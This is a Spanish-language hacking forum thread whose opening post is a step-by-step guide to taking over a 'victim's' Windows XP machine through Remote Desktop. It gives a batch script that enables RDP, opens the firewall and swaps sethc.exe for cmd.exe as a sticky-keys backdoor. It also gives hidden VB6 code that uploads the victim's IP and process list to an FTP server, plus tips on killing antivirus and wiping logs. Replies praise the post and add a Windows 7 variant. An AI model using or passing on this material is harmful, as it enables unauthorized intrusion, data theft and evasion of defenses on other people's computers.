Bienvenido(a), Visitante. Por favor, ingresa o regístrate.
Cargando

Autor Tema: Escritorio Remoto en XP Sin saber user y pass  (Leído 5174 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ANTRAX

  • ANTRAX
  • Conociendo la comunidad [L2]
  • **
  • Topic Author
  • Mensajes: 115
  • ANTRAX
    • Ver Perfil
    • underc[0]de
Escritorio Remoto en XP Sin saber user y pass
« en: Abril 03, 2011, 06:59:20 am »
Se trata de aprovechar un bug del Escritorio remoto de windows.
Primero prepararemos el archvivo para enviarlo a nuestra "victima".

Preparación:

Código batch:
Código: [Seleccionar]
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall reset
netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all
copy /y "%windir%\system32\cmd.exe" "%windir%\system32\sethc.exe">nul 2>&1
exit

Explicación:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f     
Activa el escritorio Remoto (No necesita Reiniciar)

netsh firewall reset                                                                          //Resetea el Firewall, por si tiene no permitir excepciones...
netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all  //Añade el Puerto del Escritorio Remoto a las excepciones...

copy /y "%windir%\system32\cmd.exe" "%windir%\system32\sethc.exe">nul 2>&1 //Sustituye sethc.exe por cmd.exe, así al pulsar 5 veces Shift, aparecerá el cmd  :)

Compilando...

Compilamos en modo ghost (Quick Batch File Compiler, o similar), y ya solo nos queda averiguar la IP.
Como a mi, no se por qué, no me anda enviar archivos por FTP via .bat, lo he hecho con VB6 (Si no os va enviar por FTP archivos, os pasaré el code VB6).

Buscar, FTP con Batch, Conseguir IP por MSN,Get IP,IP por correo... Google...

Código de FTP en VB6
Código: [Seleccionar]
'declaraciones
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0

Dim hConnection, hOpen, Num As Long
Dim ruta As String


Private Sub Form_Load()
On Error Resume Next
ruta = Environ$("homedrive") & "\Sys"
Kill ruta & "\*.*"
RmDir ruta
MkDir ruta
'crea un nuevo directorio, para que no falle :)
Shell "cmd.exe /c tasklist>" & ruta & "\ip.txt", vbHide 'tasklist, para ver el AV  >:D
Timer2.Enabled = True
End Sub

Private Sub Timer1_Timer()
'Subir el archivo a un ftp
hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
DoEvents
hConnection = InternetConnect(hOpen, "ftp.servidor.com", INTERNET_DEFAULT_FTP_PORT, "usuario", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
DoEvents
FtpSetCurrentDirectory hConnection, "\"
DoEvents
FtpPutFile hConnection, ruta & "\ip.txt", "ip.txt", FTP_TRANSFER_TYPE_UNKNOWN, 0
DoEvents
InternetCloseHandle hConnection
InternetCloseHandle hOpen
Kill ruta & "\ip.txt"
RmDir ruta
Timer1.Enabled = False
End
End Sub

Private Sub Timer2_Timer()
Shell "cmd.exe /c ipconfig>>" & ruta & "\ip.txt", vbHide
Timer2.Enabled = False
Timer1.Enabled = True
End Sub

Añadir 2 Timers (Timer1 y Timer2 con propiedad Enable False e Interval 3000)
Añadir propiedad Visible = false

Ya lo tenemos todo listo.

Pasando a la Acción:

Una vez haya ejecutado el archivo compilado, Vamos a Inicio>Todos los Programas>Accesorios>Conexión a Escritorio Remoto
Ponemos la IP... Si todo va bien, no saldrá un cartelito para poner User y Pass, pues bien... ¿Han visto mi post de admin con Sticky Keys?
http://www.e-r00t.org/foro/index.php?topic=4104.0
Vamos a usar la misma técnica, pulsamos 5 veces Shift (Flechita de la Izq. para mayúsculas) y ¡¡Tachan!! se nos habre un cmd.
Ponemos explorer.exe...
Esperamos a que cargue...
Y Somos usuarios System !!!
Ala, a disfrutar  :D

<a href="http://www.youtube.com/watch?v=zrs3PHsSMA4" target="_blank">http://www.youtube.com/watch?v=zrs3PHsSMA4</a>

Nota: Es preferible, si teneis sticky keys en vuestro ordenador, desactivarlo ya que podría dar lugar a confisión
Nota2: Si la victima tiene otro Firewall, Antivirus... podeis añadir un pequeño AV/Firewall-Killer. podeis hacer tambien tasklist>>ip.txt así os mandará la lista de procesos por FTP y sabreis que Av/Firewall tiene.
Nota3: Estoy trabajando en una versión para Vista (Puto UAC...)

P.D: No os olvideis, que podeis activar el servicio telnet, poner contraseña a user Administrador, y obtener shell con telnet :)
P.D2: Borrad los Logs con un Zapper en Batch  >:D

Testeado con dos XP Profesional en Red Lan (Máquina Virtual)
Pronto Subo el Video  ;D

Desconectado the.edd

  • Conociendo la comunidad [L2]
  • **
  • Mensajes: 99
  • <-the->Edd<-Master->
    • Ver Perfil
    • Mi mundo code
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #1 en: Abril 29, 2011, 10:49:52 pm »
Una pequeña duda. El debe tener instalado el FTP ?
porque cuando yo le envió el primer batch, todo bien pero le saco la ip y intento entrar y me sale un error:
Código: [Seleccionar]
El cliente no se puede conectar al equipo remoto.

Es posible que no estén habilitadas las conexiones remotas, o que el equipo esté muy ocupado para aceptar conexiones.
También es posible que haya problemas de red que impidan que se conecte.

Vuelva a intentar la conexión más tarde. Si el problema persiste, póngase en contacto con su administrador.
y ademas como es eso de agragar 2 timers?

PD: Gracias de todas maneras
« última modificación: Abril 29, 2011, 10:59:47 pm por the.edd »

Desconectado the.edd

  • Conociendo la comunidad [L2]
  • **
  • Mensajes: 99
  • <-the->Edd<-Master->
    • Ver Perfil
    • Mi mundo code
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #2 en: Abril 29, 2011, 10:57:21 pm »
Una pequeña duda. El debe tener instalado el FTP ?
Me Explico mejor mira esto es solo para conseguir la ip cierto?

PD: Eso solamente  ;)

Desconectado Bryan20

  • EX-STAFF
  • ***
  • Mensajes: 1180
  • Si Esta Programado por Humanos, Es Vulnerable
    • Ver Perfil
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #3 en: Septiembre 07, 2011, 10:20:20 pm »
Probando a ver que tal nos va!!!!

salu2 8)


Desconectado JULY

  • Éste es mi foro! [L6]
  • *****
  • Mensajes: 748
  • Inmutable
    • Ver Perfil
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #4 en: Septiembre 08, 2011, 12:44:52 pm »
muy interesante voy a probarlo
no se si se pueda pero si viene del ANTRAX que conozco debe funcionar
saludossssssssss

Desconectado LeoN

  • Éste es mi foro! [L6]
  • *****
  • Mensajes: 805
  • El conocimiento humano pertenece al mundo...
    • Ver Perfil
    • LeoN
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #5 en: Septiembre 08, 2011, 04:00:50 pm »
Muy bueno el aporte... A probar.


Saludos.!
- Quiero cambiar el mundo... ¿Alguien me recomienda un buen Desensamblador?
- Para seguir la trayectoria: mira al maestro, sigue al maestro, camina junto al maestro, mira a través del maestro, conviértete en el maestro...

Desconectado hackmundy

  • Parte de la comunidad [L3]
  • ***
  • Mensajes: 188
    • Ver Perfil
    • [H]ACKMUNDY - [L]ABS
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #6 en: Septiembre 08, 2011, 10:58:37 pm »
Exelente aporte.... Gracias..

Saludos...
Un Hacker sabe de la materia;
Un Lamer cree Saberlo;
Y Yo solo Aprendo..

Desconectado Kesmek'J

  • Residente de Hack x Crack [L4]
  • ****
  • Mensajes: 377
  • El Conocimiento Es Libre >> HxC
    • Ver Perfil
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #7 en: Febrero 22, 2012, 11:01:19 pm »
Es Increible Todo Lo que sabes ANTRAX :)

Gracias por el aporte


Desconectado Blest777

  • Residente de Hack x Crack [L4]
  • ****
  • Mensajes: 253
  • Jehová habla, pero el hombre no quiere entender...
    • Ver Perfil
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #8 en: Febrero 27, 2012, 12:02:53 am »
Espectacular  :D

GRACIAS


Creo en el Dios que hizo a los hombres, pero no en el que los hombres han hecho.

Desconectado larson32

  • Residente de Hack x Crack [L4]
  • ****
  • Mensajes: 295
  • ok. ok. ok. gente
    • Ver Perfil
Re:Escritorio Remoto en XP Sin saber user y pass
« Respuesta #9 en: Noviembre 17, 2012, 09:00:33 am »
probe la ejecucion del batch en equipo windows 7 y no reconoce el segmento del reemplazo de la consola cmd por sethc pueda que si funcione perfecto en xp, el codigo que agarra winseven es este para el reemplazo:

@echo off
copy C:\WINDOWS\system32\cmd.exe c:\
cd C:\WINDOWS\system32
del sethc.exe
echo > zzz.htm
cd c:\
ren cmd.exe sethc.exe
copy sethc.exe C:\WINDOWS\system32
del sethc.exe
exit

pero pregunta si desea el reemplazo, lo cual anula todo el trabajo, debe haber algun modo de omitir la pregunta final, o sea si desea sobreescribir o no el fichero del sistema, a ver si lo compones un poco mas exacto el codigo hermano.
haz bien y no mires a quien